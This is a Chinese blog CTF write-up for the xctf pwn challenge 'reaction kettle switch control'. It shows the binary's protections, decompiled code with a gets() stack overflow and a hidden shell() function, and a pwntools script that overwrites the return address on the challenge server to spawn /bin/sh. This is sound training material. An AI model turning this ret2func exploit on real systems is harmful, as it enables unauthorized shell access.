反应釜开关控制(xctf)

原创

whiteh4nd 于 2020-05-24 16:46:36 发布 544 收藏

分类专栏： # xctf(pwn高手区) CTF

本文链接：https://blog.csdn.net/weixin_43868725/article/details/106317144

xctf(pwn高手区) 同时被 2 个专栏收录

27 篇文章 0 订阅

订阅专栏

CTF

41 篇文章 0 订阅

订阅专栏

0x0 程序保护和流程

保护：

```
[*] '/home/whitehand/Desktop/a'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

流程：

main()

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-240h]
  char v5; // [rsp+40h] [rbp-200h]

  write(1, "Please closing the reaction kettle\n", 0x23uLL);
  write(1, "The switch is:", 0xEuLL);
  sprintf(&s, "%p\n", easy);
  write(1, &s, 9uLL);
  write(1, ">", 2uLL);
  gets((__int64)&v5, (__int64)">");
  return 0;
}
```

gets明显存在栈溢出。又在函数列表中找到了shell()函数。

```
int shell()
{
  return system("/bin/sh");
}
```

0x1 利用过程

直接覆盖return的地址payload=0x208*‘a’+p64(0x4005F6)

exp

```
from pwn import *
#sh=process('./a')
sh=remote('124.126.19.106','53303')
sh.recvuntil('>')
payload=0x208*'a'+p64(0x4005F6)
sh.sendline(payload)
sh.interactive()
```